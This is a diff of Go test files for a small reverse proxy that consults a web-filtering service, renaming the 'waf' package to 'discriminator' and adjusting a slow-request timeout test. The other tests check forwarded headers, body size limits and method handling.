@@ -974,7 +792,7 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
|
||||
func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -984,24 +802,23 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T
|
||||
{"a deny", post, http.StatusForbidden},
|
||||
{
|
||||
"the health check",
|
||||
"GET " + waf.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
|
||||
"GET " + discriminator.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
|
||||
http.StatusOK,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
// The request time limit is longer than the 10 seconds an answer rproxy
|
||||
// gives itself has to be sent, and than dial's deadline.
|
||||
// The time limit is long enough for a loaded host to read the first part of
|
||||
// the body before it runs out.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "15000",
|
||||
maxResponseTime: "300",
|
||||
maxRequestTime: "3000",
|
||||
})
|
||||
|
||||
// The body stops 100 bytes short, less than Go's server reads of a body
|
||||
// left unread before it answers.
|
||||
// Go's server waits for a little of the body left before it sends an answer,
|
||||
// and the time for sending the request ends that wait.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, tc.start+announcedLength(questionBodyMaxBytes+100)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
@@ -12,11 +12,11 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
)
|
||||
|
||||
// questionBodyMaxBytes is the most of a body a question carries.
|
||||
const questionBodyMaxBytes = waf.QuestionBodyMaxBytes
|
||||
const questionBodyMaxBytes = discriminator.QuestionBodyMaxBytes
|
||||
|
||||
// chunked is the encoding of a body whose length the visitor did not announce.
|
||||
const chunked = "chunked"
|
||||
@@ -29,7 +29,7 @@ const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
|
||||
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -42,9 +42,9 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||
req.Header.Set(forwardedForHeader, "198.51.100.1")
|
||||
req.Header.Set(forwardedProtoHeader, "gopher")
|
||||
req.Header.Set(requestIDHeader, "the-visitor's")
|
||||
req.Header.Set(waf.ClientHeader, "198.51.100.2")
|
||||
req.Header.Set(waf.PeerHeader, "198.51.100.3")
|
||||
req.Header.Set(waf.ContentLengthHeader, "12345")
|
||||
req.Header.Set(discriminator.ClientHeader, "198.51.100.2")
|
||||
req.Header.Set(discriminator.PeerHeader, "198.51.100.3")
|
||||
req.Header.Set(discriminator.ContentLengthHeader, "12345")
|
||||
// Go's client then sends no User-Agent, so that one in the question would be
|
||||
// Go's own.
|
||||
req.Header["User-Agent"] = nil
|
||||
@@ -68,8 +68,8 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
|
||||
want.Set(forwardedForHeader, "198.51.100.1")
|
||||
want.Set(forwardedProtoHeader, "http")
|
||||
want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
|
||||
want.Set(waf.ClientHeader, localhost)
|
||||
want.Set(waf.PeerHeader, localhost)
|
||||
want.Set(discriminator.ClientHeader, localhost)
|
||||
want.Set(discriminator.PeerHeader, localhost)
|
||||
|
||||
if !maps.EqualFunc(asked.header, want, slices.Equal) {
|
||||
t.Errorf("the question's headers are %v, want %v", asked.header, want)
|
||||
@@ -93,7 +93,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
forwarded := make(chan http.Header, 1)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
forwarded <- r.Header.Clone()
|
||||
@@ -110,8 +110,8 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
|
||||
wantGreeting(t, visit(t, req))
|
||||
|
||||
asked := standIn.question(t)
|
||||
if asked.header.Get(waf.ClientHeader) != tc.client ||
|
||||
asked.header.Get(waf.PeerHeader) != localhost ||
|
||||
if asked.header.Get(discriminator.ClientHeader) != tc.client ||
|
||||
asked.header.Get(discriminator.PeerHeader) != localhost ||
|
||||
asked.header.Get(forwardedForHeader) != visitor ||
|
||||
asked.header.Get(forwardedProtoHeader) != tc.proto {
|
||||
t.Errorf("the question's headers are %v", asked.header)
|
||||
@@ -157,7 +157,7 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32,10.0.0.0/8",
|
||||
@@ -167,7 +167,7 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
|
||||
req.Header[forwardedForHeader] = tc.header
|
||||
wantGreeting(t, visit(t, req))
|
||||
|
||||
if got := standIn.question(t).header.Get(waf.ClientHeader); got !=
|
||||
if got := standIn.question(t).header.Get(discriminator.ClientHeader); got !=
|
||||
tc.client {
|
||||
t.Errorf("the question names %s, want %s", got, tc.client)
|
||||
}
|
||||
@@ -183,7 +183,7 @@ func randomBytes(n int) []byte {
|
||||
return body
|
||||
}
|
||||
|
||||
func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
||||
func TestFirst64KiBReachDiscriminatorAndTheWholeBodyTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, size := range []int{
|
||||
@@ -198,7 +198,7 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
body := randomBytes(size)
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
received := make(chan []byte, 1)
|
||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
||||
whole, _ := io.ReadAll(r.Body)
|
||||
@@ -244,7 +244,7 @@ func wantQuestionBody(
|
||||
len(want))
|
||||
}
|
||||
|
||||
values := asked.header.Values(waf.ContentLengthHeader)
|
||||
values := asked.header.Values(discriminator.ContentLengthHeader)
|
||||
|
||||
if announced {
|
||||
if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
|
||||
@@ -265,7 +265,7 @@ func wantQuestionBody(
|
||||
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -276,7 +276,7 @@ func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||
t.Errorf("status %d, want waf's 403", status)
|
||||
t.Errorf("status %d, want discriminator's 403", status)
|
||||
}
|
||||
|
||||
if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
|
||||
@@ -307,14 +307,14 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
|
||||
t.Run(method+" "+tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
standIn := startDiscriminator(t, deny)
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusForbidden {
|
||||
t.Errorf("status %d, want waf's 403", status)
|
||||
t.Errorf("status %d, want discriminator's 403", status)
|
||||
}
|
||||
|
||||
asked := standIn.question(t)
|
||||
@@ -335,7 +335,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
t.Run(method, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
@@ -356,7 +356,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("waf was asked")
|
||||
t.Error("discriminator was asked")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -364,7 +364,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
|
||||
func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, method := range []string{
|
||||
@@ -377,7 +377,7 @@ func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
reached := make(chan string, 1)
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||
reached <- r.Method
|
||||
})
|
||||
@@ -389,7 +389,7 @@ func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
|
||||
}
|
||||
|
||||
if asked := standIn.question(t); asked.method != method {
|
||||
t.Errorf("waf was asked about %s", asked.method)
|
||||
t.Errorf("discriminator was asked about %s", asked.method)
|
||||
}
|
||||
|
||||
if atApp := <-reached; atApp != method {
|
||||
@@ -399,7 +399,7 @@ func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||
func TestARequestThatCannotGoToDiscriminatorAsSentIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const host = "Host: site.example\r\n\r\n"
|
||||
@@ -421,7 +421,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -439,7 +439,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||
}
|
||||
|
||||
if len(standIn.questions) != 0 {
|
||||
t.Error("waf was asked")
|
||||
t.Error("discriminator was asked")
|
||||
}
|
||||
|
||||
standIn.wantNoReport(t)
|
||||
@@ -447,12 +447,12 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAHostWithAPercentSignButNoBracketGoesToWAF(t *testing.T) {
|
||||
func TestAHostWithAPercentSignButNoBracketGoesToDiscriminator(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const host = "a%b"
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
|
||||
|
||||
@@ -473,7 +473,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
|
||||
|
||||
const want = "http"
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
standIn := startDiscriminator(t, allow)
|
||||
app := startApp(t, greet)
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32",
|
||||
@@ -502,7 +502,7 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, deny)
|
||||
standIn := startDiscriminator(t, deny)
|
||||
app := startApp(t, greet)
|
||||
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
|
||||
trustedProxies: localhost + "/32",
|
||||
@@ -515,8 +515,8 @@ func TestAQuestionNamesNoZone(t *testing.T) {
|
||||
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
|
||||
|
||||
asked := standIn.question(t)
|
||||
if asked.header.Get(waf.ClientHeader) != tc.client ||
|
||||
asked.header.Get(waf.PeerHeader) != tc.peer {
|
||||
if asked.header.Get(discriminator.ClientHeader) != tc.client ||
|
||||
asked.header.Get(discriminator.PeerHeader) != tc.peer {
|
||||
t.Errorf("the question's headers are %v", asked.header)
|
||||
}
|
||||
|
||||
|
||||
Loaded 100 of 114 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user